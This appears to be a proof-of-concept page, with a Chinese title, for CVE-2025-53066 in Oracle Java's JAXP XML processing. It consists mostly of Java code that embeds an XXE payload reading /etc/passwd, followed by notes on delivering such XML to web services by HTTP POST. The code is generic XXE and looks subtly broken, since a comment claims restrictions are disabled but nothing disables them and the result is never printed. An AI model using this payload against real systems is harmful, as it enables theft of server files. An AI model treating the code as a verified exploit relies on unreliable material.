CVE-2025-53066 Oracle Java SE JAXP组件未授权数据访问漏洞

# CVE-2025-53066 - Oracle Java SE JAXP Component Unauthorized Data Access # This PoC demonstrates the vulnerability pattern in JAXP XML processing # The vulnerability allows unauthenticated remote attackers to access critical data import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import org.xml.sax.InputSource; import java.io.StringReader; public class CVE_2025_53066_PoC { public static void main(String[] args) { try { // Crafted malicious XML payload exploiting JAXP vulnerability // The vulnerability exists in XML processing within JAXP component String maliciousXml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" + "<!DOCTYPE foo [\n" + " <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n" + "]>\n" + "<root>\n" + " <data>&xxe;</data>\n" + "</root>"; // Disable external entity processing security restrictions DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); // Attempt to exploit the JAXP vulnerability // Note: Actual exploitation may require specific configurations // to bypass security restrictions in affected versions DocumentBuilder builder = factory.newDocumentBuilder(); InputSource is = new InputSource(new StringReader(maliciousXml)); // Process the malicious XML - in vulnerable versions, // this may result in unauthorized data access builder.parse(is); System.out.println("PoC executed - check for unauthorized data access"); } catch (Exception e) { System.err.println("Error during PoC execution: " + e.getMessage()); } } } # Network-based exploitation example: # Attackers can send crafted XML data via web services that use JAXP APIs # Example HTTP request pattern: # # POST /xml-service-endpoint HTTP/1.1 # Host: target-host # Content-Type: application/xml # # [Malicious XML payload exploiting JAXP vulnerability] # # This vulnerability can also be triggered through: # - Java Web Start applications loading malicious XML # - Java Applets processing untrusted XML data # - Server-side XML processing via JAXP APIs